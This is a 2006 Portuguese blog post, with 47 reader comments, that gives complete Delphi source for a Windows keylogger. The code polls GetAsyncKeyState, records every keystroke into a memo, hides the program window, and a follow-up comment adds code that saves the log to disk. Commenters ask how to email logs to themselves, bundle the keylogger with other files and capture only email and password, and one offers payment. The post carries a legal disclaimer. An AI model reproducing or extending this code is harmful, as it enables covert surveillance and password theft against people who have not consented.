Usuário: Senha:     Cadastre-se GRÁTISAcessar o Fórum
Explorando e Aprendendo header image 2
Livro Servidores Linux, de Carlos E. Morimoto mep
 

Dica: Como criar um keylogger! (em Delphi)

setembro 9th, 2006 · 47 Comentários

por Marcos Elias

Essa dica de Delphi é muuuuito boa! Um tempão atrás disso… Finalmente achei algo significante… Use por sua conta e risco!!!

Um método fácil de capturar TUDO O QUE É DIGITADO no computador com Windows, ou seja, um método fácil de criar um keylogger. É uma dica de programação, portanto não é para qualquer um. Uso o Borland Delphi 7, deve funcionar em diversas outras versões também…

Como é avançada, apesar de relativamente fácil, não vou comentar muito, ok?! Se você tiver dúvidas, comentários ou sugestões deixe um comentário neste post, e NÃO me envie e-mails perguntando porque não tenho tempo para responder sobre programação ou coisas avançadas.

Inicie o Delphi e crie um novo projeto. Insira um Memo e um Timer.

No código, defina a seguinte função:

function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;

E coloque no evento Timer do temporizador:

procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(’ [BACKSPACE] ‘);
9: Coloca(’ [TAB] ‘);
12: Coloca(’ [ALT] ‘);
13: Coloca(’ [ENTER] ‘);
16: Coloca(’ [SHIFT] ‘);
17: Coloca(’ [CONTROL] ‘);
18: Coloca(’ [ALT] ‘);
20: Coloca(’ [CAPS LOCK] ‘);
21: Coloca(’ [PAGE UP] ‘);
27: Coloca(’ [ESC] ‘);
33: Coloca(’ [PAGE UP] ‘);
34: Coloca(’ [PAGE DOWN] ‘);
35: Coloca(’ [END] ‘);
36: Coloca(’ [HOME] ‘);
37: Coloca(’ [SETA ESQUERDA] ‘);
38: Coloca(’ [SETA ACIMA] ‘);
39: Coloca(’ [SETA DIREITA] ‘);
40: Coloca(’ [SETA ABAIXO] ‘);
45: Coloca(’ [INSERT] ‘);
46: Coloca(’ [DEL] ‘);
91: Coloca(’ [WIN ESQUERDA] ‘);
92: Coloca(’ [WIN DIREITA] ‘);
93: Coloca(’ [MENU POP-UP] ‘);
96: Coloca(’0′);
97: Coloca(’1′);
98: Coloca(’2′);
99: Coloca(’3′);
100: Coloca(’4′);
101: Coloca(’5′);
102: Coloca(’6′);
103: Coloca(’7′);
104: Coloca(’8′);
105: Coloca(’9′);
106: Coloca(’ [NUM *] ‘);
107: Coloca(’ [NUM +] ‘);
109: Coloca(’ [NUM -] ‘);
110: Coloca(’ [NUM SEP. DECIMAL] ‘);
111: Coloca(’ [NUM /] ‘);
112: Coloca(’ [F1] ‘);
113: Coloca(’ [F2] ‘);
114: Coloca(’ [F3] ‘);
115: Coloca(’ [F4] ‘);
116: Coloca(’ [F5] ‘);
117: Coloca(’ [F6] ‘);
118: Coloca(’ [F7] ‘);
119: Coloca(’ [F8] ‘);
120: Coloca(’ [F9] ‘);
121: Coloca(’ [F10] ‘);
122: Coloca(’ [F11] ‘);
123: Coloca(’ [F12] ‘);
144: Coloca(’ [NUM LOCK] ‘);
186: Coloca(’Ç’);
187: Coloca(’=');
188: Coloca(’,');
189: Coloca(’-');
190: Coloca(’.');
191: Coloca(’;');
192: Coloca(’ [APÓSTROFO] ‘);
193: Coloca(’/');
194: Coloca(’ [NUM PONTO] ‘);
219: Coloca(’´’);
220: Coloca(’]');
221: Coloca(’[');
222: Coloca(’~');
226: Coloca(’\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;

ah sim, ia esquecendo.. coloque o interval do timer para “1″… senão ficará difícil captar neh.. rs

e ++:
é bom dxar o memo desabilitado (com a propriedade Enabled := False), pq se vc digitar nele, irá aparecer o q vc digitou naturalmente MAIS o q o Timer fica adicionando a ele, e ficará repedito e confuso..

Então… Rode o programa (tecle F9).

Tecle qualquer coisa no teclado e observe! Isso funciona mesmo se sua janela não estiver ativa (digo, se estiver por trás das outras ou ocultas). Keylogger que se preze… Não fica em janela!

Oculte-o como preferir, e salve o conteúdo do Memo onde quiser. Aí é com você…

Dica: para ocultar o programa, digite Application.ShowMainForm := False, no código-fonte do projeto, depois do Application.Initialize e antes do Application.CreateForm… Mas aí você deverá ter criado um método para recuperar o que foi digitado, né?!

Adapte o programa como você quiser, afinal aqui apenas mostrei como é possível capturar o que foi digitado. Lembre-se de que ele poderá ser fechado pelo Gerenciador de tarefas do Windows, através da guia “Processos”.

deixo claro que esse código realmente “funciona”, eu testei e coloquei algumas coisas a mais. eh soh adaptar ao q vc quer fazer!

UM KEYLOGGER PODE SER VISTO COMO UM PROGRAMA DO MAL, QUE COLETA DADOS DO USUÁRIO SEM O CONSENTIMENTO DESTE, E ENVIA AS INFORMAÇÕES COLETADAS PARA ALGUM HACKER OU PESSOA DO MAL. MAS ESSE MESMO KEYLOGGER PODE SER USADO PARA IDENTIFICAR O FUNCIONÁRIO QUE ZÔA NOS COMPUTADORES DA EMPRESA, PARA VER O QUE SUA FILHA DE 10 ANOS TECLA NO MSN, ETC. NOTE QUE PODE SER DE USO PROIBIDO EM ALGUNS PAÍSES. EM OUTROS, O MAIS COMUM, PARA SER CONSIDERADO UM SOFTWARE LEGAL ELE DEVE INFORMAR QUE O SISTEMA ESTÁ SENDO MONITORADO. EM EMPRESAS, POR EXEMPLO, OS FUNCIONÁRIOS DEVEM USAR OS COMPUTADORES PARA FINS DA EMPRESA, NUNCA COMO USO PESSOAL. ISSO DEVE SER DEIXADO BEM CLARO EM CONTRATO.

NÃO ME RESPONSABILIZO POR NADA QUE POSSA ACONTECER DEVIDO O USO DESTES CÓDIGOS AQUI APRESENTADOS. USE COM CONSCIÊNCIA E RESPONSABILIDADE, SEMPRE.

Nada como uma dica dessas comemorando esse UM ANO do Explorando!

Social Bookmarks: Adicionar artigo ao Rec6 Adicionar artigo ao Linkk Adicionar artigo ao doMelhor Adicionar artigo ao Eu Curti Adicionar artigo ao del.icio.us

Marcadores: Outros

Comunidade: Entre na comunidade do Explorando no ORKUT!



47 comentários ↓
Os comentários são postados pelos visitantes, e não expressam necessariamente a opinião da equipe do site ou do autor do artigo.

  • 1 philber // set 19, 2006 at 0:50

    ixi cara nem deu certo nossa o pior era que eu tava pricisanu
    si vc puder resolver meu problema comunique me

    philbeR_marlon@hotmail.com

  • 2 Anonymous // jan 4, 2007 at 21:19

    como declara á function coloca(txt:string)string;.

  • 3 Marquinhos // jan 27, 2007 at 8:51

    Como declarar a função “ColocaTXT”? Depende de como vc quiser obter os resultados!

    Exemplo:

    function ColocaTxt(txt: String): String;
    begin
    Memo1.Text := Memo1.Text + txt;
    end;

    basta colocar um TMemo de nome “Memo1″. Use um Timer para salvá-lo de tempo em tempo… No evento onTimer do Timer, coloque algo como:

    Memo1.Lines.SaveToFile(ExtractFilePath(ParamStr(0))+’teste.txt’);

    Aí eh com vcs…

  • 4 Michell // mar 28, 2007 at 3:06

    Cara queria saber como faço o Keylogger em pascal!!!!
    Eu sei q vc ta explicando Delphi mas ainda nao aprendi no curso q to fazendo. Sei q o Delphi e o Pascal Orientado a Objeto mas nao consegui enterpretar corretamente seu keylloger para Pascal.
    Agradeço c puder ajudar.
    xD

  • 5 Marcos Elias // abr 2, 2007 at 9:57

    Viu Michell, não sei como mudá-lo para pascal não… Afinal há variações dependendo do ambiente de desenvolvimento. Fora que o Delphi tem uma estrutura própria para os forms, memos e outros componentes… O código pode ser portado sim, mas deve ser adaptado. Agora como adaptar, boa pergunta, pois atualmente não mexo com Pascal sem ser no Delphi….

  • 6 Anonymous // mai 11, 2007 at 3:32

    E AI MARCÃO SÓ UMA COISINHA MEU WINDOWS É XP PROFISSIONAL COMO FAÇO PARA INICIAR O DELFHO E ADICIONAR O Memo e um Timer? AGRADEÇO SE PUDER ME AJUDAR WLW ABRAÇO.

  • 7 Marquinhos // mai 11, 2007 at 14:29

    Vc tem q instalar o Delphi (arrume um CD dele com algm), e na aba de componentes, clique no memo e depois clique no formulário. O mesmo para o Timer, mas ele fica na aba System.

    Sugiro q vc procure um tutorial básico de Delphi se vc nunca mexeu com ele… Ele é um ambiente de programação, não é para qqer um. Essa dica tem como foco pessoas que já saibam usar um pouquinho pelo menos o Delphi.

  • 8 Anonymous // mai 25, 2007 at 15:30

    me explica direito essa forma de fazer um keylogger…. ,e responde no email : b-1.gatinho@hotmail.com

  • 9 Nicksom2d@gmail.com // mai 27, 2007 at 1:22

    3 em 1!

    1-como pode fazer um kl tão sux desse jeito e ter coragem de postar aqui?

    2-como deixou de explicar o smtp para poder enviar o save do memo para o email?

    3-não vai nem dizer que o kl deve estar com o: “Application.ShowMainForm := false;”?

  • 10 CrashSton3 // jun 24, 2007 at 14:51

    Pq k as letras ficam todas em caixa alta? O que estou fazendo de errado?

  • 11 Marcos Elias // jun 26, 2007 at 16:51

    Vc não tá fazendo nd de errado… Se observar o código, ele não coloca da forma q foi digitado. Ele detecta o código da tecla e troca pela letra, no caso, ele troca td por maiúsculas… Pra usar a caixa correta teria q usar outra função ou de outra forma, aí não sei como…

  • 12 Fiote // jul 4, 2007 at 2:35

    como q faz em pascal ou no dev c++..oo e c coloco como envia pro email um cara ai comento q n! n tem muita utilidade sem isso pq c vai ter q ir no pc da pessoal dai n precisa fala nada..oo tipo onde q baxa o delphi?so isso veio flws

  • 13 Anonymous // out 4, 2007 at 22:12

    HEHE… legal… vou botar um desses no meu pc… assim eu sei o q os visitantes estão fazendo nele…

    mais pesso so mais uma ajuda!! aonde q posso arrumar o delphi para download?? poderia ser qualquer versão?!

  • 14 Marcos Elias // out 4, 2007 at 22:25

    Anônimo de cima… Acho que não é bem por aí… Esse texto foi escrito para quem já mexe com Delphi.. Começar por aí vc poderia se bater muito, a menos que queira aprender Delphi, mas teria q usar outros tipos de programas para começar a estudar o Delphi… Pro que vc quer seria melhor procurar keyloggers prontos :)

  • 15 TibiaBots // nov 23, 2007 at 17:15

    Eu gostaria de saber se esse keylogger criado no delphi, tem como criar um server em enviar para a pessoa, até q os logs vão para meu E-mail??

  • 16 Marcos Elias // nov 23, 2007 at 17:46

    Ter até tem, dsd q vc programe isso… Esse código apresentado é apenas “o motor” do keylogger, voltado a programadores que já usam o Delphi.

  • 17 Anonymous // fev 26, 2008 at 22:20

    fdx, e burro pra caralho po!

  • 18 Anonymous // mar 14, 2008 at 19:04

    Eu to sem o Delphi Alguem podi mi dizer ondi eu baixo ?

  • 19 Anônimo // abr 22, 2008 at 15:01

    serah q alguem pod me ajuda??
    n to consiguino faze.. primera vez q mexo com delphi :~

    Vlw :/

  • 20 Marcos Elias // abr 22, 2008 at 16:23

    Anônimo, se é a primeira vez que mexe com Delphi, sugiro estudar ele um pouco ^^

    O artigo foi escrito para quem já está familiarizado com o Delphi.

  • 21 Anônimo // abr 23, 2008 at 12:59

    Pois eh neah :/

    + como vo istuda ele? eh meio complicado :/

    :(

  • 22 Marcos Elias // abr 23, 2008 at 14:04

    Existem apostilas na net… Ou com um curso mesmo :)

    Mas msm sem pagar dah pra aprender mta coisa, pesquise sobre delphi no Google, tem várias dicas e tutoriais.. Pegue algo do começo, dps q tiver noções básicas de como ele funciona e como criar programinhas básicos para Windows, fica + fácil mexer com o keylogger ^^

  • 23 Anônimo // abr 23, 2008 at 22:07

    huaheuhae

    eu vo levá 1 ano pra faze 1 keylogger ;s

    todos q tem na net pra baxar tão com virus…
    ta tenso :(

  • 24 Marcos Elias // abr 24, 2008 at 0:20

    Tem alguns comerciais q são detectados por antivirus justamente por ser um keylogger, assim os antivirus limpam ele deixando o PC lento… mas não quer dizer necessariamente que ele faria mal para quem o distribuiu… Claro q não dá pra saber neah… ainda + se for crackeado.

  • 25 Marcos Elias // abr 24, 2008 at 0:26

    Corrigindo (que erro o.O)

    … deixando o PC LIMPO

  • 26 Anônimo // abr 24, 2008 at 17:46

    pod cre…

    a vlw :P

    vo ve uq posso faze :/

  • 27 anonimo // abr 24, 2008 at 19:15

    eu estou comessando agora…nem mesmo sei faser o virus de apagar hd…

    se poderem me ajudar…quero aprender ..muito ..

    vlw

  • 28 Roberto Beck // abr 28, 2008 at 20:48

    intaoo marcoss…esse KL q vc fez…tem como ser mandado o q for digitado para algum email desejado? ou nao?

    vlww aguardo a resposta ;)

  • 29 Marcos Elias // abr 29, 2008 at 4:35

    Roberto, vc teria q programar isso em serparado, o código apresnta o esboço do motor do keylogger apenas. Até dá mas tem q criar :)

  • 30 Thaiii // mai 20, 2008 at 17:03

    Meu eu não entendo nada sobre isso dai…De códigos e talzs
    mas não sei apareceu algo parecido com isso no
    meu pc outro dia quando tava na net..
    com horários e sites que mexi e tudo e tudo misturado a códigos
    e não me lembro se mexi em alguma coisa ou algo do tipo… O.o
    sei que era parecido…
    não tem nada a ver néh???
    não quer dizer que pegaram as informações do meu computador???

    Obs.: o histórico tenho certeza que não eraaaaaaaaa…

    Se alguém poder me ajudar…
    tenho certeza que é uma grande bobagem
    não tem nada a ver…mas se tiver Please
    respodeeee

  • 31 Marcos Elias // mai 20, 2008 at 23:08

    Thaiii, sem saber onde você mexeu fica difícil dizer se seu PC foi invadido ou não, se há um keylogger instalado ou não… Pelo que você falou, pode ser que sim, assim como pode ser que não.

    Se você fuçou e abriu algum arquivo de algum programa como o navegador, arquivos de histórico na pasta de histórico do IE / Windows Explorer, ou de outro navegador que você venha a usar, talvez você encontrasse informações de sites que tenha mexido.

    Sem ser o navegador outro programa não faria esse monitoramento, o que deixa transparecer que também pode ser algum invasor.

    Seria bom passar um anti-spyware, como o SpyBot, pra ver se encontra algo :)

  • 32 luis felipe // mai 21, 2008 at 15:20

    quero criar um virus

  • 33 Jotinhahh // mai 29, 2008 at 18:59

    karas como faço pra achar esse tal de DELPHI ? eu ja estudei as apostilas virtuais e ja to manjando algo mas onde eu acho ele ??ele tem download na net ?

  • 34 Marcos Elias // mai 29, 2008 at 22:43

    Ter até tem download, mas não oficial, já que ele é um programa comercial. No site http://www.borland.com tem informações, sobre o Delphi ou CodeGear. Antes tinha uma versão pessoal gratuita do Delphi, não sei se ainda existem. Se não tiver a gratuita deve ter algum demo de 30 dias.

  • 35 Marcos Elias // mai 29, 2008 at 22:49

    Aqui o link, tem a versão DEMO / TRIAL:

    http://www.codegear.com/products/delphi/win32

    Particularmente não gosto das versões novas do Delphi quanto à interface. Sou + o estilo Delphi 7 de ser, as novas puxaram para o estilo dos ambientes de desenvolvimento da MS.

  • 36 Jotinhahh // mai 31, 2008 at 16:58

    brigado pela ajuda

  • 37 sandra // jun 7, 2008 at 13:02

    Marcos. Eh normal quando dita os codigos no TMemo ou no TTimer aparecer uma menssagem de erro?
    aguardo por resposta!

  • 38 Marcos Elias // jun 8, 2008 at 22:46

    Não entendi o “dita”, Sandra… Seria “digitar”?

    Normal não é. Pode aparecer caso vc use alguma função no evento onKeyDown, onKeyPress e similares, do campo ou mesmo do form. Se tiver erro ou se a função causar um erro em tempo de execução, pode ser que seja exibida uma mensagem.

  • 39 jackson // jun 9, 2008 at 6:08

    100% esse código

    não to conseguindo mandar o log para meu email
    consegui mandar para um servidor ftp que criei.
    gostaria de ajuda com os componentes para mandar email pois sempre da erro.
    smtp e pop3 são realmente free no caso do ig, bol etc….

  • 40 jackson // jun 9, 2008 at 6:13

    como faço para colocar ‘espaço’
    qual o código da tecla?

    e como apagar ao invéz de colocar(’ [BACKSPACE]‘);:

  • 41 ZE // jun 12, 2008 at 11:17

    marcos preciso de um kl que capture apenas email e senha e deposi envie o relatorio via ftp ou email. se houver interessse de sua parte entre em contato comigo para acertarmos um preco.
    oxy-genio@hotmail.com

  • 42 sandra // jun 12, 2008 at 21:00

    oi Marcos, desculpa pelo meu erro logo acima…..”dita” eu quis dizer “digita”.kkk

    conssegui faze o kl mais eu vou dar uma sugestão para vc. eh claro se vc quiser!!! com todo o respeito.

    ponhe foto nas explicações!! mataria muitas duvidas de iniciantes.
    eh klaro q eh soh uma sugestaum :D

  • 43 Felipe // jun 20, 2008 at 11:09

    Marcos,

    como que eu faço para que ao ser finalizada a aplicação ela me envie o conteudo do Memo por email.

    eu uso um pc com outras pessoas(irmãos), e sempre o pc ta com problema(vírus), ai queria saber aonde eles entram (com certeza é em sites inapropriados) para que eu posso bloquiá-los …

    []s

    Felipe
    ================================
    se puder me envia um email (felipe_a_milagres@yahoo.com.br)

  • 44 Alisson // jun 24, 2008 at 9:59

    o meu nao ta dando da erro na palavra coloca

    8: [red]Coloca[/red] (’[BACKSPACE]‘)

    como arruma??

    se alguem souber manda um e-mail aew pra:
    alissonacioli@gmail.com

  • 45 wwrang // jun 24, 2008 at 10:50

    Alguem que conseguiu fazer pode me mandar os fontes pra eu adaptar as minhas necessidades?? Se sim mando o email… Valews

  • 46 WesleY // jun 25, 2008 at 10:22

    ai me da uma força aki
    como eu coloco o Kl junto com um arquivo ??

  • 47 Vitor // jul 8, 2008 at 15:21

    Eita povo burro…
    Quer dar uma de Hacker e nem sabe o basico de Delphi… Assim não sabem C++/C, e muito menos assembly…
    Povo metido que pega codigo pronto para se amostrar…
    A dica esta perfeita… quem nao conseguiu rodar va estudar…

    Abraço Araks!

Postar comentário

Veja as regras para comentários e a política de privacidade

Promoção GdH Press - Leia trechos dos livros online, sem compromisso :)
Dica: Como criar um vírus? (364)
Como roubar senhas do MSN e comunidades e profiles do orkut! (67)
Proactive Password Auditor: Como hackear a senha do Administrador! (e todas as outras do Windows) (66)
Atalhos de teclado no Windows (49)
Dica: Como criar um keylogger! (em Delphi) (47)
Como escrever com letras grandes no orkut (47)
Hackeando as senhas no Windows: Guia Definitivo! (40)
Counter Strike é proibido no Brasil (30)
Use um domínio personalizado para seu blog! (30)
O Windows que roda do CD! (24)
eu: nao funciona a assistencia remota depois de instalar o sp3
Ricardo: O ruim é o modem… se não eu cancelava o provedor… cancelar provedor, mas ter que...
Jéssica: # Jéssica`
larissa: aprendiiii
Vitor: Eita povo burro… Quer dar uma de Hacker e nem sabe o basico de Delphi… Assim não sabem...
Marcos Elias: Com o font size=18 tbm dah.. Usando os sinais de menor e maior cercando o código. Sobre as...
Marcos Elias: Tente CTRL + ALT + SETA ou então procure no programa que pode ter sido instalado junto com o...
mayara: Oie tdo bem? então gostaria de saber como mudar a fonte do orkut? vejo uns recados com letras...
ze: porra ja to ficando nervosso esse progama naum faz porra nenhuma eu ponho o arquivo la mas elenaum compila...
adv: Eu acho que não existe alguém que conheça a Telefônica e que dispense algum elogio aos serviços...
Livros de Linux é com o Guia do Hardware, do Carlos E. Morimoto. Leia a introdução e os primeiros capítulos online:
Livro Kurumin 7, Guia Prático
Kurumin 7, Guia Prático
Livro Linux, Ferramentas Técnicas
Linux, Ferramentas Técnicas
Cadastre-se grátis no AondeNamoro e encontre amigos, paqueras, namoradas(os):
AondeNamoro.com! Totalmente Gratuito!


Copyright © 2005-2008 Marcos Elias Picão - Todos os direitos reservados - All rights reserved
Partes do Copyright © 2006-2008 Via Mep S/A - Powered by Mep Produções
Home | Fórum do Explorando | RSS | Sobre este site | Termos de uso e privacidade | Rede de Sites Mep Host / Via Mep
Tema Cutline by Chris Pearson